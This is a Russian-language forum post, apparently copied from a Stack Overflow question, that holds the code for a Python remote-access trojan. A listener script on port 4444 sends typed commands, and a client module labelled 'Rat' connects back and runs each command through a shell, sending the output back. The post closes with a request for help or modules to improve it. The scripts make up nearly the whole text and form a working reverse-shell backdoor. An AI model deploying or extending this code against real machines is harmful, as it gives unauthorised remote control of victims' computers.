Код: Выделить всё
'''
Server python module.
'''
import sys
import socket
SERVER_IP = ""
PORT = 4444
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SERVER_IP, PORT))
s.listen(1)
while True:
print(f'[+] listening as {SERVER_IP}:{PORT}')
client = s.accept()
print(f'[+] client connected {client[1]}')
client[0].send('connected' .encode())
while True:
cmd = input('>>> ')
client[0].send(cmd.encode())
if cmd.lower() in ['quit' 'exit', 'q', 'x']:
break
result = client[0].recv(1024).decode()
print(result)
client[0].close()
cmd = input("Wait for new client y/n") or 'y'
if cmd.lower() in ['n', 'no']:
break
s.close()
Код: Выделить всё
'''
Rat Python Module
'''
import sys
import socket
import subprocess
SERVER_IP = ""
PORT = 4444
s = socket.socket()
s.connect((SERVER_IP, PORT))
msg = s.recv(1024).decode()
print('[*] server:', msg)
s
while True:
cmd = s.recv(1024).decode()
print(f'[+] recevied command: {cmd}')
if cmd.lower() in ['q', 'quit', 'exit', 'x']:
break
try:
result = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
except Exception as e:
result = str(e).encode()
if len(result) == 0:
result = '[+] Executed Successfully'.encode()
s.send(result)
s.close()
Если бы кто-нибудь мог мне помочь, это было бы здорово - Если бы кто-нибудь мог предоставить ссылки или модули, которые можно использовать для решения этой проблемы.
Подробнее здесь: https://stackoverflow.com/questions/790 ... nts-and-se